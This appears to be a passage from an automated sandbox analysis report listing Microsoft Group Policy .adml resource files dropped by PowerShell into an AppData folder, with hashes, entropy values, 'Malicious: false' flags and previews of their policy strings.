Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WdiScenarioCategory">Corrupted File Recovery</string>.. <string id="WdiScenarioExecutionPolicy">Configure Corrupted File Recovery behavior</string>.. <string id="WdiScenarioExecutionPolicyExplain">This policy setting allows you to configure the recovery behavior for corrupted files to one of three states:....Regular: Detection, troubleshooting, and recovery of corrupted files will automatically start with a minimal UI display. Windows will attempt to present you with a dialog box when a system restart is

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\FileRevocation.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (591), with CRLF line terminators
Category:	dropped
Size (bytes):	2614
Entropy (8bit):	4.778560797244179
Encrypted:	false
SSDEEP:	48:c4D5FL8golENFW8jxk1tQYY4DXOc3I+4QZHD75LhhAOoXV:RD5FPoWNFWweQD4TV1Zv5LhHoXV
MD5:	85E6DEC7D2E9D6A930AE1A7B4C9E6CE9
SHA1:	A8C71091F223CD0DCDF3AA8AE4A2D6E1888FD69E
SHA-256:	1E5E1B42CFB88B5072DADEB281779586616FC8A3493F66EE17557A19D9ABC27D
SHA-512:	F0076C0E98DE7CBD06723E647B7CF654CF85CE262832321606FCA066B22FC4C70635D183F2E1F8BD77AA9FC99F9EDEE8BF909DD8708AA3C01F0A8164FEEE9D98
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8" standalone="yes"?>.. (c) Microsoft Corporation -->..<policyDefinitionResources xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0">.. Documentation says these are optional, but GPEdit does not agree-->.. <displayName>File Revocation Policy Settings</displayName>.. <description>File Revocation Policy Settings</description>.. <resources>.. <stringTable>.. <string id="FileRevocationCategory">File Revocation</string>.. <string id="DelegatedPackageFamilyNames_Name">Allow Windows Runtime apps to revoke enterprise data</string>.. <string id="DelegatedPackageFamilyNames_Help">Windows Runtime applications can protect content which has been associated with an enterprise identifier (EID), but can only revoke access to content it protected. To allow an application to revoke

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\FileServerVSSProvider.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1516
Entropy (8bit):	4.992519754988731
Encrypted:	false
SSDEEP:	24:2dgeD5eo8g4t4+3Fbef61yjhZEPaREbCF2LRz8u4tUtTY45y9Qy52fKKnKHPaMfV:cgeD5x8gU8fK8hOaRmC0Rz8u4tYTFynR
MD5:	BFBE8A2102D1DAD98FC3B6A7C9D49809
SHA1:	D2B7FA51C1458FF163A3A687687BC79615A0950E
SHA-256:	DA1FFF29710B8B4D5D3361E38FE64B66D7A39F70AB98D23F02C2F285C7298817
SHA-512:	798D71F3589C310441205512EDF99AC939A53BD7A4381BE6908722C9C41B03788AE7BE9D2B59083D7D39E76D9CFA8D7EA1DD4BCFD3800602188A6185C64B6941
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.2" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. Component name -->.. <string id="Cat_FileShareShadowCopyProvider">File Share Shadow Copy Provider</string>.. Component name -->.... <string id="Pol_EncryptProtocol">Allow or Disallow use of encryption to protect the RPC protocol messages between File Share Shadow Copy Provider running on application server and File Share Shadow Copy Agent running on the file servers.</string>.. <string id="Pol_EncryptProtocol_Help">Determines whether the RPC protocol messagese used by VSS for SMB2 File Shares feat

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\FileSys.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (466), with CRLF line terminators
Category:	dropped
Size (bytes):	5047
Entropy (8bit):	4.778189792452432
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fK0BR2avs7FFiTs5UXs5Zg3NZRWwzL9oaVdQMxITRnRZ6LutwOXsQU:LeD5pmus7asQsyxVOnJIV
MD5:	F1951FB8C3B9EEBE23ABEF5EE23DBA39
SHA1:	FBAB4967D796A04FB164024D8C543D676E44BD24
SHA-256:	40A867EB9B6B1644CDF87AC77D346485DA153B245603237FA9A76E2C68ACFD4B
SHA-512:	9604C7324D2FE2EC3C40D90E0C3747B6BBBF20186F7A6A695D947C9F1FEB727875066CC700C31291BA156C0BA83893917AF4A7BEDC37208D4500B88DF22D9079
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Filesystem">Filesystem</string>.. <string id="NTFS">NTFS</string>.. <string id="SymlinkEvalExplain">Symbolic links can introduce vulnerabilities in certain applications. To mitigate this issue, you can selectively enable or disable the evaluation of these types of symbolic links:....Local Link to a Local Target..Local Link to a Remote Target..Remote Link to Remote Target..Remote Link to Local Target....For further information please refer to the Windows Help section....NOTE: If this policy is Disabled or

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\FolderRedirection.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (565), with CRLF line terminators
Category:	dropped
Size (bytes):	7951
Entropy (8bit):	4.723629934992763
Encrypted:	false
SSDEEP:	96:LeD5pm0w3a/059U9dRz1zAkpsx1zAkWMOUH+fH/s3RpeWCBNTAynMydWcS5Pv0rA:EEVzAT7p67WMF+3s3RV5yMydWz5P0A
MD5:	B0E17494D027C66AD4CC97FE5D2E6108
SHA1:	D382CFCD7145A738FC23FE78BC925DB11E9C5A42
SHA-256:	0144A87B8D59221D8C76B55A64743F6AD72FEC812242669C05421D4D07321383
SHA-512:	65256FCD792B464E49B8A04D00442F5B4FC358337E3F6B3DDA4F3B14BA7C460A9825F1D7FF22A2C39FC1A12C188C724C0C82D3FB1A602D193D5F693D8D4335BA
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Fdeploy_Cat">Folder Redirection</string>.. <string id="LocalizeXPRelativePaths">Use localized subfolder names when redirecting Start Menu and My Documents</string>.. <string id="LocalizeXPRelativePaths_Help">This policy setting allows the administrator to define whether Folder Redirection should use localized names for the All Programs, Startup, My Music, My Pictures, and My Videos subfolders when redirecting the parent Start Menu and legacy My Documents folder respectively.....If you enable this policy s

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\FramePanes.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2163
Entropy (8bit):	4.8446705224824
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yEThu85fKbISIiSPks6/jvY/wAibISvVviR0OlnIcBV:cgeD5x8gm8fK+oKWkx7v7SmVviBV
MD5:	15395250ABFE245E09EDEA1B6537814E
SHA1:	BCD13824A7D7E4DDDF9F7F60EEC6149D6F10F1D4
SHA-256:	CADF1A1ED7AF5758824AC8A710730356758359E4CF0B61B989B76A3BA9DADFF0
SHA-512:	6C4337CD68D38FC32E6AA4BEAB133AEC2E7F4DA435092F7359CAF6859E24B3FC2C6D1D9F19886DEE9F726CF1F3BD993F4FF9F1A9F626024EC593486E75B81216
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ExplorerFramePanePolicies">Explorer Frame Pane</string>.. <string id="PreviewPane">Turn on or off details pane</string>.. <string id="PreviewPane_DropDownList_Show">Always show</string>.. <string id="PreviewPane_DropDownList_Hide">Always hide</string>.. <string id="PreviewPane_help">This policy setting shows or hides the Details Pane in File Explorer.....If you enable this policy setting and configure it to hide the pane, the Details Pane in File Explorer is hidden and cannot be turned on by the

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\GameExplorer.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1897
Entropy (8bit):	4.8809825480443285
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKl5wrZqMZDrABpO+ODR5/aAo19ArdFV:LeD5pmLGZqi4kRhaAo10dFV
MD5:	85EE206DDBF793929AC0467A02312D46
SHA1:	27550C4F8815DF919184B033AD36AD864CD5FA84
SHA-256:	9F9F0778ABA650963783D793C7253CA72B4A7CEF436A4E34D4B5AEA6DD65BB95
SHA-512:	B76B6D2E2F3B8B4B42CFD8B609EAAAEAC8B974C11D77CA00B5A32980C43EA9F415543D4C081F4E820D58D601A76EA098F01491820CEFD40E2766488923EAF889
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DownloadGameInfo">Turn off downloading of game information</string>.. <string id="DownloadGameInfo_Help">Manages download of game box art and ratings from the Windows Metadata Services.....If you enable this setting, game information including box art and ratings will not be downloaded. ....If you disable or do not configure this setting, game information will be downloaded from Windows Metadata Services.</string>.. <string id="GAMEUX">Game Explorer</string>.. <string id="ListRecentlyPlayed">Turn off

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\Globalization.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (486), with CRLF line terminators
Category:	dropped
Size (bytes):	25531
Entropy (8bit):	4.651678772761436
Encrypted:	false
SSDEEP:	384:3G+fZ/NAlGQpr1EVa+3+O+kDeZCwFBAA5ykHj0Yz0hSxqGq0:W6NAlGQpr2oSDy5PGwPH
MD5:	76A8A380A63A9348769B4A94D9EEF57F
SHA1:	B20DFDC04FB839A890E83A590020CCF263EB338E
SHA-256:	7FCB7F49FCEA58D4CFD70A65394DD7E7FD5404D7E51225FBB212035CEA78DF79
SHA-512:	D9F454A57DEE30397CA8233DBD9EBD3E136FBE53B99D34572A04960B6C2785F3B1FECC914B580FA1C033A8952C4C072FF264FAFD1345EB76083B21E3C1482A61
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="CustomLocalesNoSelect">Disallow selection of Custom Locales</string>.. <string id="CustomLocalesNoSelect_Help">This policy setting prevents a user from selecting a supplemental custom locale as their user locale. The user is restricted to the set of locales that are installed with the operating system.....This does not affect the selection of replacement locales. To prevent the selection of replacement locales, adjust the permissions of the %windir%\Globalization directory to prevent the installation of locale

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\GroupPolicy-Server.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (301), with CRLF line terminators
Category:	dropped
Size (bytes):	1487
Entropy (8bit):	4.93565859545614
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yczWOV1zWI6+xZAlxP84b6M119Z3icCV:cgeD5x8gm8fKmfg7I1/ZS9V
MD5:	721DE72286ED158412B12054999D879D
SHA1:	3E9668AD9CE409FC80B008D56BA0C213CEDD2B4B
SHA-256:	A87BB0424E1D7DEF0F6D544530A32ABB9ED6D448969FEB8C5985F30E0FD71B65
SHA-512:	A35D98E011DB3E0050FE3695F49576E2229F627D8A967907CB28B85A86762FD969D63CB89E4FE692CDA4B4F4211502F37B53C5C97FADC6A205E8174A63A9E285
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ProcessTSUserLogonAsync">Allow asynchronous user Group Policy processing when logging on through Remote Desktop Services..</string>.. <string id="ProcessTSUserLogonAsync_Help">This policy setting allows Microsoft Windows to process user Group Policy settings asynchronously when logging on through Remote Desktop Services. Asynchronous user Group Policy processing is the default processing mode for Windows Vista and Windows XP.....By default, Window Server processes user Group Policy settings synchronously.....I

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\GroupPolicy.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (772), with CRLF line terminators
Category:	dropped
Size (bytes):	60292
Entropy (8bit):	4.712085259009764
Encrypted:	false
SSDEEP:	768:eOZhoxHoAJPf9Op1fJDBRLPz5E/tW/4HnQ:eOZ+xIGAlBRLPz5E/8gw
MD5:	3EC08BDFFA220598C2FE18E65DC57F55
SHA1:	7E91322DA98DAA4F971A0CEEE5589D0AA601A40E
SHA-256:	BF01A53E4DD9D9A982152BB2AF4F6B78DB2E6B26D0E3F80D192AC647FAFD3261
SHA-512:	ED99C8F50AD90322E3844D63A29E573B6DE5ACA73A1C9111757B8331B6325BE9D9840D3C0945F124E058BDAB07A364360B4ECFEF14CB472487ECF6DBB7A7B606
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ResetDfsClientInfoDuringRefreshPolicy">Enable AD/DFS domain controller synchronization during policy refresh</string>.. <string id="ResetDfsClientInfoDuringRefreshPolicy_Help">Enabling this setting will cause the Group Policy Client to connect to the same domain controller for DFS shares as is being used for Active Directory.....</string>.. <string id="DisableAOACProcessing">Turn off Group Policy Client Service AOAC optimization</string>.. <string id="DisableAOACProcessing_Help">This policy setting p

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\GroupPolicyPreferences.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (500), with CRLF line terminators
Category:	dropped
Size (bytes):	133320
Entropy (8bit):	4.822585844934633
Encrypted:	false
SSDEEP:	3072:TaSaHapabacaEa8aqapalasa4aMayauauaSa+awaOaW:Y
MD5:	D1A5CF9F95B52D0C47DE6C6BBA860D0A
SHA1:	112212D522046D296E4298AD5EEED40429FDAF28
SHA-256:	D79EED1FFB6836C73A921B8BD79195F3787C17CB15CEB9E27D682F27DAEA3AEF
SHA-512:	E79B6906D42A8F62A0D5B942C93C4A0A474DC6D841D7784D3EB49BDE7CA7B02F07E53D1DD2A0EE7D13974F9A9722F1A77A40C9F9A28F1DDF0955E46756F39034
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions" revision="1.0" schemaVersion="1.0">.. <displayName>Group Policy Preference Policies</displayName>.. <description></description>.. <resources>.. <stringTable>.. <string id="MMC_PrefApplications">Permit use of Application snap-ins</string>.. <string id="MMC_PrefApplications_Explain">This policy setting allows you to permit or prohibit use of Application snap-ins (Application preference item types). When prohibited, no Application preference item types appear when you attempt to create a new Application preference item, and you are unable to do so. This policy setting does not affect existing Application preference items.....If you enable or do not configure this policy setting, you permit use

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\Help.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (399), with CRLF line terminators
Category:	dropped
Size (bytes):	5647
Entropy (8bit):	4.726995944697996
Encrypted:	false
SSDEEP:	96:LeD5pmkwXl3Bnrvb+st3rnZay5gok2TyV+EJlNifb/j4mRMFW78v/xvJ9xvJ7V:EG+stjZ3gyIzNiz9MFWAn9np
MD5:	3B1AD1ECF110F12067554FA487C740FD
SHA1:	0EE520F7EC886C23F0A431AA690C851B5EB0C5A2
SHA-256:	8DDB25B03AEAC60067CA82F72EDE2B7EBCEB1E48E196BAD69995C052FD2D2E86
SHA-512:	F16103456D09B6385240E7A30FBC9909F0383D1611B08E9E3EB8407BA97E5F462DF7E127E5B8F04842F4A7F54E71D13C30675906624E41CF012AAA6EE06D8731
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="HelpQualifiedRootDir_Comp">Restrict potentially unsafe HTML Help functions to specified folders</string>.. <string id="HelpQualifiedRootDir_Help">This policy setting allows you to restrict certain HTML Help commands to function only in HTML Help (.chm) files within specified folders and their subfolders. Alternatively, you can disable these commands on the entire system. It is strongly recommended that only folders requiring administrative privileges be added to this policy setting..... If you enable th

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\HelpAndSupport.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3089
Entropy (8bit):	4.757831684112995
Encrypted:	false
SSDEEP:	48:cgeD5J8gmk3TikjDKO5a+A7nQK2N7nCgQ1XlD0J4qXCdCEJaN5Z7aexmFV:LeD5hm4TiADLcXnQvnzUt0JBznFmFV
MD5:	FF9EF4C6BCE28ED5D6C68034CF5FB683
SHA1:	9CD42425C65E031C5D535FD63B8A113FCE81923E
SHA-256:	C121B0C89956299E7EA7212D382E199BDF50F51FE94634740934C56BAC669CAC
SHA-512:	A86DB211B742DA417D886D1C77B22E82B4B25F84C961B7C4ADA3CB64216A35A21DDCD211B50251467E11EA234356516A1245768D5F266DC1F8F346EBC56F2B84
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Online Assistance</displayName>.. <description>Online Assistance</description>.. <resources>.. <stringTable>.. <string id="Assistance">Online Assistance</string>.. <string id="windowscomponents">Windows Components</string>.. <string id="ActiveHelpPolicy_Explain">This policy setting specifies whether active content links in trusted assistance content are rendered. By default, the Help viewer renders trusted assistance content with active elements such as ShellExecute links and Guided Help links.....If you enable this policy setting, active content links are not rendered. The text is displayed, but there are no clickable links for these elements.....If you disable or do not configu

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\ICM.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (543), with CRLF line terminators
Category:	dropped
Size (bytes):	19360
Entropy (8bit):	4.641124398915221
Encrypted:	false
SSDEEP:	384:m7xEdYC8St0ugzNQmh2z31TCIXBtbL+jc98MK1X:zLtk27p1MMK1X
MD5:	17CAE97BBE2A02C66C6FBDD54652B33E
SHA1:	2CCB62039419D7D7D93EA8B04D7A3E587D80DC06
SHA-256:	CAB1DD5C4B264CD58F17F3CD2C16775A7ABF379558F7506DD55FC363CA90C656
SHA-512:	3ACB5C95A38AEB54C4FF0DD0735B6C0FEF4536EA22764455D16A90A0CC8A36655AD5E8E1D964429765818E06A15A90AE7AB4AA3EE556746235FA62C074C0B3C6
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="CertMgr_DisableAutoRootUpdates">Turn off Automatic Root Certificates Update</string>.. <string id="CertMgr_DisableAutoRootUpdates_Help">This policy setting specifies whether to automatically update root certificates using the Windows Update website. ....Typically, a certificate is used when you use a secure website or when you send and receive secure email. Anyone can issue certificates, but to have transactions that are as secure as possible, certificates must be issued by a trusted certificate authority (CA)

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\IIS.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (743), with CRLF line terminators
Category:	dropped
Size (bytes):	1408
Entropy (8bit):	4.880333709783744
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61y+kZDqGIZ0DafLMezn6FI2gFV:cgeD5x8gm8fKIZDqGTaYeeFcFV
MD5:	426B83EC085AE7511EF7836624778786
SHA1:	510FB2D8410021336EC73B9757A5E1A85FFA902B
SHA-256:	73B3CBE01F0416F6DE28395E5B9AC286C8149D0F46BAB6AE86B6AC4E58B0F803
SHA-512:	DECBFE7A847491E79F7CAD8AF64CDB650F82424CE657D44D8A8E9CF1BDFA413959DFD79349A88E8050EB6EB0715B4792AA2843E613A914C753A9211A07D2BF18
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="IIS">Internet Information Services</string>.. <string id="PreventIISInstall">Prevent IIS installation</string>.. <string id="PreventIISInstall_Help">"This policy setting prevents installation of Internet Information Services (IIS) on this computer. If you enable this policy setting, Internet Information Services (IIS) cannot be installed, and you will not be able to install Windows components or applications that require IIS. Users installing Windows components or applications that require IIS might not r

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\InetRes.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (592), with CRLF line terminators
Category:	dropped
Size (bytes):	457561
Entropy (8bit):	4.747379761820279
Encrypted:	false
SSDEEP:	3072:4ShXU4YfsUgEI5zZxU6AECqP68pxJXljJX2G439MYe1t8ob:ZMk43i1t8u
MD5:	10590CE50B19C233DDB6EEC95850C5F4
SHA1:	0E8CD5C92654B4655E317521164FE17548AC9284
SHA-256:	9775D601260260CA0BDB805FD89AA5C3C126B8706458404A2405711DFD708647
SHA-512:	9DEC09DF0555B8106AE2D1FE2C6405672A995687EB03B8382D0A23EF36FD273980FC15D4194142107FAFC59A148039BE7DF0FB22A4F9FC1153C06BE04AE4D18A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="11.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="InternetCPL_Advanced_Accessibility">Accessibility</string>.. <string id="InternetCPL_Advanced_International">International</string>.. <string id="InternetCPL_Advanced_Security">Security</string>.. <string id="InternetCPL_Connections">Connections Page</string>.. <string id="InternetCPL_Content">Content Page</string>.. <string id="InternetCPL_Content_Certificates">Certificates</string>.. <string id="InternetCPL_General_Appearance">Appearance</string>.. <string id="InternetCPL_Gener

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\InkWatson.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (309), with CRLF line terminators
Category:	dropped
Size (bytes):	1426
Entropy (8bit):	4.787912997643585
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61y8p/L1u10pKiuruwuNez27BshruwlOALVIVriFV:cgeD5x8gm8fKb2gzp7Be7OA5OOFV
MD5:	386AFC1D42FDA5DA7B89C46B35C02635
SHA1:	44DC5FF2A570253D5AE1C755604DFFE11EF58022
SHA-256:	3930ADC5CC37AC32F2C02C1C3F288CAD45F18DDB232D5226B78E9CF7632014C2
SHA-512:	32AFFF54025D2A4C313228C41DFF6C2858877F5B0341F1950C822021DD2D13F1C6B70A43761EECB204AAB83762FC48BC6548B4D40A3746B5AC11C8240C973786
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="PreventHandwritingErrorReports">Turn off handwriting recognition error reporting</string>.. <string id="PreventHandwritingErrorReports_Explain">Turns off the handwriting recognition error reporting tool.....The handwriting recognition error reporting tool enables users to report errors encountered in Tablet PC Input Panel. The tool generates error reports and transmits them to Microsoft over a secure connection. Microsoft uses these error reports to improve handwriting recognition in future versions of Windows

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\KDC.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (554), with CRLF line terminators
Category:	dropped
Size (bytes):	10440
Entropy (8bit):	4.663520278145665
Encrypted:	false
SSDEEP:	96:LeD5pmaMIjP+dQzot5fZeuGnu9rAEQNsVS3sYgovZ4v/4euVuY9+UDVxgACCmskc:Ep8QzgfZeu1905teYUANOKIk
MD5:	7783B0D4B182BE9230A649D6E8DC56AD
SHA1:	215263A87F861BD2D8263BAD8011C5DDA0357BEB
SHA-256:	DB2F6E21FDB453CD8E67C278038547D12EB5C58C1D0280776670D618AEDED64F
SHA-512:	1B13DB33C12191ECF4687C6DEAF76E4776A10AAB045150C2A85369B0AA5553ECF42524A585A2A33905D1B124C1108FF2CACCDFE9C86D8CBBA89FD37E37F8D996
Malicious:	false
